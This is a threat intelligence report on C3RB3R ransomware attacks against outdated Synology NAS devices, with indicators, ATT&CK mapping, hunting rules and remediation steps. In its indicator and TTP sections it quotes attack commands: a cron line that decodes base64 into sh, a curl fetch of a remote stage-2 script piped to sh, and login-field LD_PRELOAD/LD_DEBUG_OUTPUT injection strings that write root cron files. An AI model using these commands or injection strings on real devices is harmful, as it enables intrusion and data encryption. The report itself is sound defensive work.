TLP:CLEAR Unrestricted public release.

CYBER THREAT INTELLIGENCE REPORT

C3RB3R ransomware hits outdated Synology NAS devices

From **Cybersecurity Briefing** · 2026-10-29 to 2026-11-03 · Briefing generated 2026-11-03

REPORT ID	VERSION	HANDLING
CTI-20261103-03	1.0 · 2026-11-03 08:49 EST	TLP:CLEAR
BRIEFING SECTION	**ORIGINAL PUBLISHED**	**LAST UPDATE**
	2026-10-29	2026-11-03
CVES	**ANALYST**	
CVE-2024-10441 (CVSS 9.8), CVE-2024-50629 (CVSS 5.3), CVE-2024-10445 (CVSS 4.3), CVE-2026-13639 (CVSS 9.8), CVE-2026-13684 (CVSS 9.8)	Nick Sturgeon	

RANSOMWARE | HIGH | ACTIVELY EXPLOITED | OVERALL CONFIDENCE: MODERATE

BOTTOM LINE UP FRONT

On 29 October 2026 Synology said threat actors are exploiting a vulnerability patched in December 2024 to encrypt data on NAS devices running outdated DiskStation Manager (DSM) and demand a ransom [S1]. The notice names no CVE, ransomware family, victim count or indicators; it points only to advisory Synology-SA-24:20, which covers CVE-2024-10441 (CVSS 9.8, unauthenticated code execution), CVE-2024-50629 and CVE-2024-10445 [S1] [S3]. Victims and researchers identify the malware as C3RB3R. It appends .L0CK3D to files and leaves a note named read-me3.txt in each folder [S2] [S5] [S6]. Reports in support forums began by 17 October, and 360 says it has received requests for help since early October, so this activity predates the vendor notice by weeks [S5] [S7].

The entry point is disputed, and this matters for patching. Synology points to SA-24:20 [S1]. 360 attributes the incidents it examined to CVE-2026-13639 and CVE-2026-13684, two unauthenticated flaws fixed on 18 September 2026 in SA-26:13 [S4] [S5]. Community forensic reports add evidence on both sides: one detailed case ties login-plugin environment injection to CVE-2024-10441 on a build below the 2024 fix [S21], while another could explain its compromise through internet-exposed Telnet alone and found no direct DSM exploit evidence [S22]. A secondhand report of a victim on DSM 7.4.1, which is newer than both fixes, is unverified but has not been ruled out [S27] [S29]. The briefing's example build, 7.2.2-

72806-1, closes SA-24:20 but is still below the SA-26:13 fix of 7.2.2-72806-9 [S3] [S4]. Patch to the current release for the branch, not the minimum build named in the older advisory.

Scale is unknown. No source gives a victim count; Shadowserver's figure of more than 380,000 internet-exposed Synology NAS devices shows the potential pool, not the number vulnerable or compromised [S6]. Reported demands are small, about 0.037 BTC (roughly US$2,950) doubling after five days, which points to high-volume opportunistic attacks on individuals and small organizations rather than selected targets [S26] [S29]. Backups on the same device, including Hyper Backup targets and database dumps, have been encrypted too [S26]. No public decryptor exists [S25] [S27].

What to do: remove DSM, SMB, Telnet and SSH from direct internet exposure on both IPv4 and IPv6, and update to the latest build for the branch. Then hunt for persistence, because updating does not remove it and cron entries have reportedly survived upgrades [S25] [S26]. If encryption is still running, cut the network rather than the power. Do not reboot, because community cases show the session key lives only in the memory of the running encryptor [S22] [S26] [S35]. Technical indicators currently come mainly from community forensic write-ups, not from Synology or a major threat-intelligence vendor, so validate them before blocking at scale.

Key judgments

VERY LIKELY · MODERATE CONFIDENCE
New C3RB3R infections of Synology NAS devices will continue to be reported through at least the next 30 days. Exposure is large, the flaws are automatable, a public proof of concept is reported for CVE-2024-10441, and auto-update does not move devices across DSM branches. [S6] [S8] [S10] [S25] [S29]

LIKELY · MODERATE CONFIDENCE
Once fuller forensics are published, the campaign will prove to use more than one access route rather than a single CVE. CVE-2024-10441 is likely to be confirmed for older builds, with SA-26:13 flaws or exposed remote services accounting for at least some other victims. [S1] [S5] [S21] [S22] [S25]

LIKELY · HIGH CONFIDENCE
Organizations that update only to the SA-24:20 minimum builds will stay open to compromise, because those builds predate the SA-26:13 fixes and persistence planted earlier would not be removed by the update alone. [S3] [S4] [S25] [S26]

ROUGHLY EVEN CHANCE · LOW CONFIDENCE
CISA will add CVE-2024-10441 to the KEV catalog within 30 days. The vendor has acknowledged exploitation of the advisory, but it has not named the CVE, which may delay listing. [S1] [S9] [S20]

UNLIKELY · MODERATE CONFIDENCE
A universal public decryptor will appear within 30 days. Reported file keys are protected by a per-run session key and an RSA-wrapped blob, and successful recoveries so far depended on capturing the victim's own running process. [S5] [S22] [S25] [S26] [S35]

INDICATORS OF COMPROMISE

Synology has published no indicators [S6]. 360 published one MD5 [S5]; nearly all others come from community forensic write-ups and vendor blogs dated 28 to 31 October 2026 and have not been confirmed by a major intelligence vendor, so treat network indicators as leads and expect them to age quickly. Entries labelled historical come from the 2023-2024 Confluence waves and are context, not evidence of the Synology campaign. The first_seen field is filled only where a source records an observation date.

Type	Indicator (defanged)	Context	Provenance	First seen	Source
sha256	`802ac85d19dc6db2b1849bb3499877280544d04a0ae94d4c408b6c321669903d`	Packed libgld encryptor (462,312 bytes, UPX-packed static x86-64 ELF). The same hash appears in two community cases; the second report cross-references the first.	REPORTED		[S21] [S22]
sha256	`78d06b74827429f8b9947ac5940b15fb6e6f724386dcb04dc6f7eb6dcd41d3a4`	Unpacked libgld ELF (1,319,024 bytes). Will not match on disk unless a responder or tool has unpacked it; useful for sample matching.	REPORTED		[S21] [S22]
md5	`a1375e0f82ae86df528876c049b5a23c`	C3RB3R sample analyzed by 360 in its Synology NAS warning of 2026-10-29.	REPORTED		[S5] [S25]
ipv4	`46[.]8[.]78[.]122`	Reported payload host for the stage-2 script; a failed sign-in from it was reported eight minutes before encryption in one case. Community-sourced.	REPORTED		[S25]
url	`hxxp[://]46[.]8[.]78[.]122/xdy5[.]sh`	Stage-2 shell script fetched by the injected cron job and piped to sh. Community-sourced; do not fetch.	REPORTED		[S25]
ipv4	`104[.]253[.]175[.]125`	Listed as observed in the wild on 2026-10-28; the exact role is not stated. Community-sourced.	REPORTED	2026-10-28	[S25]
ipv4	`208[.]87[.]128[.]140`	Reverse-shell C2 on TCP 4001 in one case, with the shell reportedly present about 37 days before encryption. Single-case report on an unofficial DSM build.	REPORTED		[S22]
port	`4001/tcp`	Outbound reverse-shell port to the C2 above in one case.	REPORTED		[S22]

Type	Indicator (defanged)	Context	Provenance	First seen	Source
port	`46137/tcp`	Backdoor listening port reported by one vendor blog. A dedicated search found no corroboration, so treat as low confidence.	REPORTED		[S26]
port	`23/tcp`	Telnet exposed with root login in two community cases; the post-compromise enabling of Telnet for root is also reported. Exposure on any NAS warrants investigation.	REPORTED		[S22] [S24] [S26]
port	`5000/tcp, 5001/tcp`	Default DSM web management ports named as the exposure route for the login-injection path.	REPORTED		[S22] [S25]
port	`445/tcp`	SMB port forwarded to the internet in a forum victim report and listed in a community playbook. Exposure factor; not confirmed as an entry route.	REPORTED		[S7] [S25]
filename	`read-me3.txt`	Ransom note placed in each encrypted folder, headed C3RB3R INSTRUCTIONS. Contains a six-digit device ID and Tor payment details. The number in the name may vary.	REPORTED		[S5] [S6] [S7] [S27]
filename	`*.L0CK3D`	Extension appended to encrypted files, using a zero rather than a letter O. Folder names are unchanged. Also used in earlier C3RB3R waves.	REPORTED		[S2] [S5] [S7] [S34]
filename	`*.LOCK3D`	Spelling variant with a letter O, seen in some reports. May be a reporting variation rather than a distinct malware behavior.	REPORTED		[S27] [S30]
filepath	`/bin/libgld`	Encryptor process and dropped file; the on-disk file is removed after launch. Sources differ on whether libgld or qnetd is the core encryptor.	REPORTED		[S21] [S25] [S26]
filepath	`/usr/bin/libgld`	Executable path of the deleted encryptor process in one case.	REPORTED		[S22]

Type	Indicator (defanged)	Context	Provenance	First seen	Source
filepath	`/bin/qnetd`	Dropped payload; described as the core encryptor by one source and as a dropped file by another.	REPORTED		[S25] [S26] [S27]
filepath	`/bin/l0ck.enc`	Lock or marker file present during encryption and removed at the end.	REPORTED		[S21] [S25]
filepath	`/etc/cron.d/synot*`	Root cron files written through the injection path, run every minute and recorded as self-recreating. Reported to persist after a DSM update. Absent in at least one victim's check, so absence does not prove a clean device.	REPORTED		[S24] [S25] [S26]
filepath	`/etc/cron.d/synotgkk.<PID>`	Specific form of the cron path in one case; four such paths were removed by root rm -f shortly after injection.	REPORTED		[S21]
filepath	`/etc/.conf`	Reported to run every 20 minutes from /etc/crontab. Single vendor blog.	REPORTED		[S26]
filepath	`/etc/node`	Reported dropped file. Single vendor blog.	REPORTED		[S26]
filepath	`/tmp/lru`	File read by a Python stager to obtain addresses before downloading qnetd. The source's Linux description may partly draw on earlier C3RB3R waves.	REPORTED		[S27]
filename	`xdy5*`	Any file matching this pattern, including the stage-2 script.	REPORTED		[S25]
filename	`synotade.<PID>`	Temporary files whose cleanup appears in rm.log. synotade is the name given for the plugin daemon handling the injected sign-in.	REPORTED		[S25]
filepath	`/var/log/synoplugin.log*`	Root-only log where login-injection strings were reported. Related logs are synoscgi.log* and auth.log*; rotated copies are .xz compressed. Preserve before cleanup.	REPORTED		[S25] [S26]

Type	Indicator (defanged)	Context	Provenance	First seen	Source
command	`libgld -n 308`	Encryptor command line reported in two cases. A root-owned libgld process in /proc with an exe link marked (deleted) is the key live-host sign.	REPORTED		[S21] [S22]
command	`* * * * * root echo <base64> | base64 -d | sh`	Pattern of the injected cron line, generalized by the source. Decodes to a curl of xdy5.sh piped to sh.	REPORTED		[S25]
command	`curl -s http://<IP>/xdy5.sh| sh`	Decoded cron payload pattern with the host replaced by a placeholder.	REPORTED		[S25]
http-request	`SYNO.API.Auth version 7 method login, with PLUGIN_VALUE_START, PLUGIN_VALUE_END, LD_PRELOAD=, LD_DEBUG=libs or LD_DEBUG_OUTPUT=/etc/cron.d/synot in the account field`	Injection strings reported in the DSM sign-in username field. A vendor blog separately cites LD_PRELOAD and LD_DEBUG_OUTPUT strings in logs.	REPORTED		[S25] [S26]
http-request	`/webapi/entry.cgi?api=SYNO.API.Auth&version=7&method=login`	Likely request form. The sources give the API name, version and method but not the HTTP path; the path is inferred from DSM's usual web API convention and may be /webapi/auth.cgi on some builds or a POST body. Not seen in a captured request.	DERIVED		[S23] [S25]
other	`SYNO.API.Auth_7_login PAM authentication failures`	Log event seen about seven minutes before first encryption in one case, with scheduled-task directory change one minute after. Not unique on its own; correlate with new cron files.	REPORTED	2026-10-28	[S23]
other	`Accounts: admin2, dev87, monitor followed by two digits`	Unknown administrator accounts. admin2 appears in two sources; dev87 and monitorNN in one. Also check for unexpected UID 0 accounts and new authorized_keys.	REPORTED		[S25] [S26]

Type	Indicator (defanged)	Context	Provenance	First seen	Source
other	`.SYNOACCOUNTDB corruption notice in Log Center`	Reported before encryption in a community playbook.	REPORTED		[S25]
other	`DSM message: Configuration lost`	Seen after restart in a forum report. Unverified and not specific to this malware.	REPORTED		[S7] [S33]
other	`588-byte footer appended to each encrypted file`	Files grow by exactly 588 bytes. Useful for triage and scoping. Footer bytes 568-571 hold a per-run session marker that must not be hardcoded.	REPORTED		[S7] [S21] [S23]
other	`Dr.Web detection name Trojan.Encoder.38200`	Detection name from a forum submission.	REPORTED		[S7] [S25]
other	`Tor portal title: C3rb3r Decryptor`	Name of the paid tool and payment page referenced by the note. A free test decryption of one file up to 1024 KB is offered.	REPORTED		[S6] [S26] [S27]
md5	`7415347d5ea5f0db29ec95a4a61aba90`	Historical: Windows sample attributed by the source to 360. Earlier wave, not tied to the Synology Linux encryptor.	REPORTED		[S27]
filepath	`C:\Windows\Temp\svcPrvinit.exe`	Historical: Windows payload path. Earlier wave.	REPORTED		[S27]
mutex	`hsfjuukjzloqu28oajh727190`	Historical: Windows payload mutex. Earlier wave.	REPORTED		[S27]
ipv4	`193[.]176[.]179[.]41`	Historical: 2023 Confluence wave. Unlikely to apply to the 2026 campaign.	REPORTED		[S27]
ipv4	`193[.]43[.]72[.]11`	Historical: 2023 Confluence wave. Unlikely to apply to the 2026 campaign.	REPORTED		[S27]
ipv4	`45[.]145[.]6[.]112`	Historical: 2023 Confluence wave. Unlikely to apply to the 2026 campaign.	REPORTED		[S27]

Type	Indicator (defanged)	Context	Provenance	First seen	Source
domain	`j3qxmk6g5sk3zw62i2yhjnwmhm55rfz47fdyfkhaithlpelfjdokdxad[.]onion`	Historical: 2023 payment site as reported by a commercial recovery vendor. Do not visit. The 2026 note's address was not published in the sources reviewed.	REPORTED		[S27]
filename	`agttydck.bat`	Historical: helper in the Linux Confluence wave reported in April 2024.	REPORTED		[S34]
filename	`agttydcb.bat`	Historical: encryptor in the Linux Confluence wave reported in April 2024.	REPORTED		[S34]
filepath	`/tmp/ck.log`	Historical: suspected write-test file in the Linux Confluence wave reported in April 2024.	REPORTED		[S34]

Indicators are defanged (hxxp, [.], [@]) so they cannot be clicked. "Reported" means stated in a source; "Derived" means inferred by the analyst from the source material and should be validated before blocking.

TACTICS, TECHNIQUES & PROCEDURES (TTPS)

Attackers reach a DSM device exposed through port forwards, UPnP, a global IPv6 address or a similar route. In the best-documented path, a crafted SYNO.API.Auth login places environment-variable strings in the username field. The sign-in plugin daemon processes them before the account is checked, and the loader's debug output writes a line into /etc/cron.d as root, consistent with CVE-2024-10441 [S21] [S25]. Within minutes cron decodes a base64 command that fetches a stage-2 script, which installs payloads under /bin and creates a lock file [S25]. The encryptor, a UPX-packed static ELF usually seen as libgld, deletes itself and runs from memory. It walks folders while skipping 27 system directories and certain file types, encrypts with ChaCha8, and appends a 588-byte footer with protected key material, then drops read-me3.txt and renames files to .L0CK3D [S5] [S22] [S23]. One case took about seven minutes from failed login to first encrypted file [S23], while another found a reverse shell about 37 days before encryption, so dwell time varies [S22]. Sources disagree on the first step: 360 names two SA-26:13 flaws and at least one case points to exposed Telnet [S5] [S22]. No threat group has been named; C3RB3R is a malware name whose link to the original Cerber operation and to leaked Conti code remains disputed [S6] [S7] [S27].

MITRE ATT&CK mapping

Tactic	Technique	Procedure observed	Detection opportunity
Initial Access	T1190 Exploit Public-Facing Application	Exploitation of DSM login processing, reported as CVE-2024-10441 by forensic cases in line with Synology's advisory reference, or as CVE-2026-13639 and CVE-2026-13684 by 360. [S1] [S5] [S21] [S25]	Review DSM and reverse-proxy logs for SYNO.API.Auth login requests containing LD_ or PLUGIN_VALUE strings, and flag any sign-in from the internet.
Initial Access	T1133 External Remote Services	A root-capable Telnet service exposed on a public IPv6 address was judged by one responder sufficient to explain the intrusion. [S22] [S24]	Scan external IPv4 and IPv6 ranges for 22, 23, 445, 5000 and 5001 on NAS devices; alert on inbound sessions to them.
Persistence	T1574.006 Hijack Execution Flow: Dynamic Linker Hijacking	LD_PRELOAD and LD_DEBUG_OUTPUT values are injected through the login path so that the loader writes attacker-controlled content as root. [S21] [S25] [S26]	Search synoplugin.log, synoscgi.log and auth.log, including rotated .xz files, for the injection strings.
Persistence	T1053.003 Scheduled Task/Job: Cron	Root cron files named /etc/cron.d/synot* run every minute; /etc/.conf is also reported to run from /etc/crontab. [S21] [S25] [S26]	Compare /etc/cron.d and /etc/crontab with a known-good device; look for synot entries and check DSM Task Scheduler.
Persistence	T1136.001 Create Account: Local Account	Unknown administrator accounts such as admin2, dev87 or monitorNN were reported. [S25] [S26]	Review Control Panel User & Group, plus any unexpected UID 0 entries and authorized_keys files.
Execution	T1059.004 Command and Scripting Interpreter: Unix Shell	A cron command pipes decoded content into sh, which pipes the stage-2 script from curl into sh. [S25]	Alert on curl or wget piped to sh, and base64 -d piped to sh, in any NAS shell or process telemetry.
Defense Evasion	T1140 Deobfuscate/Decode Files or Information	The cron payload is stored base64 encoded and decoded at run time. [S25]	Inspect cron file contents for base64 -d.
Defense Evasion	T1027.002 Obfuscated Files or Information: Software Packing	The encryptor is a UPX-packed static x86-64 ELF. [S21] [S22] [S26]	Check preserved samples with hash and packer checks; match the reported SHA-256 values.

Tactic	Technique	Procedure observed	Detection opportunity
Defense Evasion	T1070.004 Indicator Removal: File Deletion	The binary is removed after launch, and cron droppers are removed with rm -f shortly after injection. [S21] [S22] [S25] [S26]	Run ls -l /proc/*/exe and look for (deleted); review rm.log for synot paths.
Command and Control	T1105 Ingress Tool Transfer	The stage-2 script and payloads are downloaded over HTTP from a remote host. [S25] [S27]	Alert on any NAS HTTP request to an unknown bare IP, and block by default at the egress firewall.
Command and Control	T1571 Non-Standard Port	A root reverse shell to TCP 4001 was seen in one case; a listener on TCP 46137 is reported by another source. [S22] [S26]	Baseline NAS outbound destinations and flag long-lived sessions on unusual ports; check local listeners with netstat or ss.
Discovery	T1083 File and Directory Discovery	The encryptor recursively walks directories, skipping 27 system directories and certain executable and script types. [S5] [S26] [S28]	Monitor for sudden broad read and rename activity across shared folders, for example with Active Insight file activity.
Impact	T1486 Data Encrypted for Impact	Files receive ChaCha8 encryption, full or partial by type and size, a 588-byte footer and a .L0CK3D extension. Same-device Hyper Backup targets and USB targets can be encrypted too. [S5] [S7] [S23] [S25] [S26]	Alert on .L0CK3D or read-me3.txt creation on SMB shares and on file-change bursts.
Impact	T1490 Inhibit System Recovery	Disputed for this campaign. One victim reported 35 of 36 Btrfs snapshots removed, while another analysis found no snapshot deletion command in the script; other forum reports say snapshots survived. [S25] [S33]	Alert on snapshot count drops and retention changes; verify snapshot protection regularly.

Detection & hunting

Queries are built from the reported behavior and indicators. They are untested; tune field names for your environment.

Synology DSM login-injection strings in forwarded logs `SPLUNK SPL`

```
index=nas (sourcetype=syslog OR sourcetype=synology*) ("LD_PRELOAD=" OR "LD_DEBUG_OUTPUT=" OR
"LD_DEBUG=libs" OR "PLUGIN_VALUE_START" OR "PLUGIN_VALUE_END" OR "/etc/cron.d/synot" OR "xdy5.sh")
| stats earliest(_time) AS first_seen latest(_time) AS last_seen count BY host source
| convert ctime(first_seen) ctime(last_seen)
```

Most of these logs are local and root-only by default, and synoplugin.log may not be forwarded. If so, run the same strings over a preserved log collection, including decompressed .xz files. Adjust index and sourcetype to your environment.

C3RB3R persistence and payload files on Linux or DSM `SIGMA`

```
title: Possible C3RB3R Synology NAS Artifacts
status: experimental
logsource:
  product: linux
  category: file_event
detection:
  sel_cron:
    TargetFilename|startswith: '/etc/cron.d/synot'
  sel_payload:
    TargetFilename:
      - '/bin/libgld'
      - '/usr/bin/libgld'
      - '/bin/qnetd'
      - '/bin/l0ck.enc'
  sel_impact:
    TargetFilename|endswith:
      - '.L0CK3D'
      - '/read-me3.txt'
  condition: 1 of sel_*
level: high
```

DSM rarely has file-event telemetry, so this may apply only through a custom collector. Check any cron hit against a known-good device of the same DSM build before treating it as malicious.

Ransom artifacts from Windows clients and servers touching NAS shares `KQL`

```
DeviceFileEvents
| where Timestamp > ago(30d)
| where FileName endswith ".L0CK3D" or FileName =~ "read-me3.txt"
| summarize Events=count(), FirstSeen=min(Timestamp), LastSeen=max(Timestamp),
Paths=make_set(FolderPath, 25) by DeviceName, InitiatingProcessFileName
| order by Events desc
```

The encryptor runs on the NAS, so EDR on clients may see only a few of these names through browsing or sync. A hit should prompt a check of the NAS rather than the client alone.

Login-injection strings in cleartext DSM traffic `SURICATA`

```
alert http any any -> $HOME_NET [5000,5001] (msg:"Possible Synology DSM login environment injection";
flow:established,to_server; http.request_body; content:"LD_";
pcre:"/LD_(PRELOAD|DEBUG|DEBUG_OUTPUT)=/"; classtype:web-application-attack; sid:9900101; rev:1;)
alert http any any -> $HOME_NET [5000,5001] (msg:"Possible Synology DSM login environment injection in
URI"; flow:established,to_server; http.uri; content:"LD_"; pcre:"/LD_(PRELOAD|DEBUG|DEBUG_OUTPUT)=/";
classtype:web-application-attack; sid:9900102; rev:1;)
```

Works only on decrypted or cleartext HTTP, so port 5001 and QuickConnect traffic will not match without TLS inspection. Encoding may evade it. The sid values are placeholders.

REMEDIATION ACTIONS

Exposure

Product	Affected	Fixed in	CVE	CVSS	EPSS	CISA KEV	KEV due date
Synology DSM 7.4	Before 7.4-90075 (SA-26:13). One source says SA-24:20 does not apply to this branch.	7.4-90075 or later; a current build of 7.4.1-90080 Update 1 is reported	CVE-2026-13639, CVE-2026-13684 and others in SA-26:13	9.8	CVE-2026-13639 0.00665 (52nd pct); CVE-2026-13684 0.00599 (49th pct), 2026-11-02	No	N/A
Synology DSM 7.3	Before 7.3.2-86009-4 (SA-26:13). One source says SA-24:20 does not apply to this branch.	7.3.2-86009-4 or later; Update 5 reported as current	CVE-2026-13639, CVE-2026-13684 and others in SA-26:13	9.8	CVE-2026-13639 0.00665; CVE-2026-13684 0.00599, 2026-11-02	No	N/A

Product	Affected	Fixed in	CVE	CVSS	EPSS	CISA KEV	KEV due date
Synology DSM 7.2.2	Before 7.2.2-72806-1 (SA-24:20); before 7.2.2-72806-9 (SA-26:13)	7.2.2-72806-9 or later covers both; Update 10 reported as current	CVE-2024-10441, CVE-2024-50629, CVE-2024-10445; CVE-2026-13639, CVE-2026-13684	9.8	CVE-2024-10441 0.01251 (69th pct); CVE-2024-50629 0.31942 (98th pct); CVE-2024-10445 0.00378 (32nd pct); see SA-26:13 scores above, 2026-11-02	No	N/A
Synology DSM 7.2.1	Before 7.2.1-69057-6 (SA-24:20); before 7.2.1-69057-12 (SA-26:13)	7.2.1-69057-12 or later covers both; Update 13 reported as current	CVE-2024-10441, CVE-2024-50629, CVE-2024-10445; CVE-2026-13639, CVE-2026-13684	9.8	CVE-2024-10441 0.01251, 2026-11-02	No	N/A

Product	Affected	Fixed in	CVE	CVSS	EPSS	CISA KEV	KEV due date
Synology DSM 7.2	Before 7.2-64570-4 (SA-24:20). SA-26:13 lists no fix for this branch; status of pre-7.2.1 versions is unknown in the CVE records.	7.2-64570-4 for SA-24:20; move to a branch with an SA-26:13 fix if the hardware allows	CVE-2024-10441, CVE-2024-50629, CVE-2024-10445	9.8	CVE-2024-10441 0.01251, 2026-11-02	No	N/A
Synology DSM 7.1	Before 7.1.1-42962-7 per SA-24:20 and the CVE record. SA-26:13 lists no fix for this branch.	7.1.1-42962-7 for SA-24:20; Update 9 reported as current; move to a supported branch if the hardware allows	CVE-2024-10441 per CVE record, CVE-2024-50629, CVE-2024-10445	9.8	CVE-2024-10441 0.01251, 2026-11-02	No	N/A
Synology DSM 6.2	Before 6.2.4-25556-8 (SA-24:20; rated Moderate for this branch). SA-26:13 lists no fix.	6.2.4-25556-8; replace or isolate the device, since extended support ended in 2024	CVE-2024-10445	4.3	CVE-2024-10445 0.00378, 2026-11-02	No	N/A
Synology BeeStation OS (BSM)	Before 1.1-65374 (SA-24:20). No reports reviewed tie BSM to this campaign.	1.1-65374 or later	CVE-2024-10441, CVE-2024-50629, CVE-2024-10445	9.8	CVE-2024-10441 0.01251, 2026-11-02	No	N/A

Product	Affected	Fixed in	CVE	CVSS	EPSS	CISA KEV	KEV due date
Synology PHP, Calendar and Mail Station packages (PHP2Shell, SA-26:14; separate issue, link to C3RB3R unconfirmed)	PHP 7.3 to 8.4 packages, Calendar and Mail Station below the fixed builds	Fixed builds per SA-26:14, for example Calendar 3.0.4-21435 and PHP 8.4 8.4.27-0051 on DSM 7.2+; PHP 7.3 has no fix	CVE-2026-109618, CVE-2026-109619	9.8 (Synology); NVD rates CVE-2026-109619 at 8.1	Not checked	Yes (added 2026-10-26)	2026-10-29

Immediate (0–24 hours)

- Inventory every Synology device across the estate and client base: model, DSM build, update level, exposed services and whether it holds backups. `IT OPS` [S1] [S3] [S4]
- Remove internet exposure of DSM, SMB, Telnet and SSH: delete port forwards, UPnP mappings and DMZ placement, and add an inbound IPv6 deny rule. Use a VPN for remote administration. `IT OPS` [S5] [S6] [S22] [S25] [S30]
- Update DSM to the newest build for the branch, at or above the SA-26:13 fix where a fix exists, not just the SA-24:20 minimum. Before updating, check for active compromise so that memory and logs are not lost. `IT OPS` [S1] [S3] [S4] [S31]
- Check each device for compromise: run ls -l /proc/*/exe and look for (deleted), inspect /etc/cron.d for synot entries, look for /bin/libgld, /bin/qnetd and /bin/l0ck.enc, check user lists, Task Scheduler and Telnet and SSH settings, and run Security Advisor. `SOC` [S25] [S26] [S31]
- If encryption is active, disconnect the network and keep the device powered on. Do not reboot, shut down, update or use kill -9. Engage incident response quickly: suspending the verified process and dumping its memory has enabled recovery, but only while the process remains alive. `SOC` [S22] [S26] [S35]
- Preserve read-me3.txt, encrypted samples, logs and any /proc/<PID>/exe copy before any reset. Pause Cloud Sync and Drive ShareSync so that encrypted files do not spread. `SOC` [S21] [S25] [S35]
- Do not pay, and do not rely on online L0CK3D decryptors without independent validation. Escalate any confirmed incident to leadership for legal, insurance and reporting decisions. `LEADERSHIP` [S5] [S25] [S27]

Short term (1–7 days)

- Enable automatic updates, and separately track devices on older branches, because auto-update does not move a device across branches and an old build can show as up to date. `IT OPS` [S1] [S25]
- After evidence capture on any suspected device, reinstall cleanly rather than cleaning by hand, remove persistence, rotate all credentials and keys, and restore from data predating the earliest ransom note. Check that data's date against the earliest compromise signs, as dwell time of about five weeks has been reported. `SOC` [S22] [S25] [S26]

- Update PHP, Calendar and Mail Station packages under SA-26:14, and remove packages and sites not in use. PHP2Shell is separately listed in KEV even though no link to this campaign is confirmed. `IT OPS` [S15] [S16] [S17] [S30]
- Harden accounts: disable default admin, enforce unique passwords and 2FA, and enable AutoBlock. These controls do not stop pre-authentication exploitation; a vendor blog reports passwords and 2FA did not prevent this attack. `IT OPS` [S5] [S26] [S30]
- Test restoring from an offline or immutable copy, and confirm that write-protected snapshots are being created on critical shared folders. `IT OPS` [S5] [S26] [S30]
- Search preserved logs and firewall records back to at least mid-September 2026 for the reported indicators and login-injection strings. Run the hunting queries in this report after tuning. `SOC` [S4] [S22] [S25]
- Send client and internal notices explaining the need for update and internet exposure checks, covering home-office NAS devices that connect to corporate data. `LEADERSHIP` [S1] [S6]

Long term

- Replace devices and DSM branches that no longer get full security updates, and budget NAS as patchable, internet-relevant infrastructure rather than simple storage. `LEADERSHIP` [S4] [S25] [S32]
- Apply a 3-2-1 backup design with at least one offline or immutable copy away from the NAS, because same-volume Hyper Backup targets and dumps were encrypted and RAID is not a backup. `LEADERSHIP` [S26] [S30]
- Add NAS and network-storage devices to external attack-surface scanning on IPv4 and IPv6, and forward DSM logs to central logging so evidence survives an incident. `SOC` [S22] [S25] [S32]
- Put NAS devices on a management VLAN with default-deny egress and allowlisted update destinations. Avoid disabling copy-on-write on important shares, as it removes a recovery route. `IT OPS` [S22] [S24] [S25]
- Add a NAS-specific ransomware playbook to incident response, including the rule to isolate but not power off, plus process-freeze and memory-capture steps tested in advance. `SOC` [S22] [S26] [S35]

Workarounds & compensating controls

- Where a device cannot be patched to an SA-26:13 fixed build, including 7.2, 7.1 and 6.2 branches, keep it off the internet entirely and restrict management and SMB to allowlisted internal hosts. Synology lists no workaround in SA-24:20 or SA-26:13, so this reduces risk but does not fix the flaws. `IT OPS` [S3] [S4] [S25]
- Disable QuickConnect, UPnP, Telnet and unneeded SSH until patching and checks are complete. Reports list QuickConnect as a possible route, though this is unconfirmed. `IT OPS` [S25] [S26] [S32]
- Block outbound NAS traffic except to approved update and backup destinations, which would interrupt the reported fetch of stage-2 scripts and reverse shells. `IT OPS` [S22] [S25]
- Use the DSM firewall to allow only trusted IP addresses for administration, and enable tamper-protected snapshots with Active Insight or similar file-change alerting. `IT OPS` [S5] [S26]

Actions marked with an owner: SOC = security operations, IT Ops = system and network administration, Leadership = risk and communications decisions.

SOURCES

[S1] Synology: Synology urges users to update DSM following ransomware attacks on outdated DSM versions
Published 2026-10-29 · **A2** Completely reliable, probably true
Primary vendor notice. Names no CVE, family or victim count. Listed briefing source.

[S2] The Hacker News: Synology NAS Devices Targeted in Ransomware Attacks Exploiting Patched DSM Flaw
Published 2026-11-03 · **B2** Usually reliable, probably true
Listed briefing source. Ties the notice to SA-24:20 and relays Reddit reports of C3RB3R.

[S3] Synology: Synology-SA-24:20 DSM (PWN2OWN 2024)
Published 2024-11-05 · **A1** Completely reliable, confirmed by other sources
Primary advisory, last updated 2025-03-28. The DSM 6.2 update on 2024-12-05 probably explains the December date in the notice.

[S4] Synology: Synology-SA-26:13 DSM
Published 2026-09-18 · **A1** Completely reliable, confirmed by other sources
Primary advisory for the CVEs that 360 names. It says nothing on exploitation.

[S5] 360: Cerber ransomware attacks on Synology NAS: incident warning and sample analysis
Published 2026-10-29 · **B2** Usually reliable, probably true
Original sample analysis, in Chinese. Malware details agree with other reports; its entry-vector claim taken alone rates only 3 because it is disputed and has no published exploit evidence.

[S6] BleepingComputer: Synology warns of C3RB3R ransomware attacks targeting NAS devices
Published 2026-11-02 · **B2** Usually reliable, probably true
Updated 2026-11-03. Source of the Shadowserver figure, as Shadowserver data was not opened directly.

[S7] BleepingComputer Forums: C3RB3R ransomware encrypting NAS devices (*.L0CK3D extension / read-me3.txt)
Published 2026-10-17 · **C2** Fairly reliable, probably true
Victim posts with staff moderation. Earliest dated victim report reviewed. Includes a Zyxel NAS326 report, which suggests the family is not limited to Synology.

[S8] CVE Program: CVE-2024-10441 record
Published 2025-03-19 · **A1** Completely reliable, confirmed by other sources
Lists DSM 7.1 with a fix at 7.1.1-42962-7; the advisory text for this CVE names only 7.2 and newer branches. CISA SSVC exploitation value is still none, last updated 2025.

[S9] NVD: CVE-2024-10441
Published 2025-03-19 · **A1** Completely reliable, confirmed by other sources
No CISA KEV fields present in the record as of 2026-11-03.

[S10] CVE Program: CVE-2026-13639 record
Published 2026-09-18 · **A1** Completely reliable, confirmed by other sources
CISA SSVC exploitation none, automatable yes, technical impact total, as of 2026-09-18.

[S11] CVE Program: CVE-2026-13684 record
Published 2026-09-18 · **A1** Completely reliable, confirmed by other sources
CISA SSVC exploitation none, automatable yes, technical impact total, as of 2026-09-18.

[S12] NVD: CVE-2026-13639
Published 2026-09-18 · **A1** Completely reliable, confirmed by other sources
No KEV fields present; awaiting analysis.

[S13] NVD: CVE-2026-13684
Published 2026-09-18 · **A1** Completely reliable, confirmed by other sources
No KEV fields present; awaiting analysis.

[S14] NVD: CVE-2024-50629
Published 2025-03-19 · **A1** Completely reliable, confirmed by other sources
No KEV fields present.

[S15] Synology: Synology-SA-26:14 (PHP2Shell)
Published 2026-10-22 · **A1** Completely reliable, confirmed by other sources
Primary advisory, updated 2026-10-31. Related issue only.

[S16] NVD: CVE-2026-109618
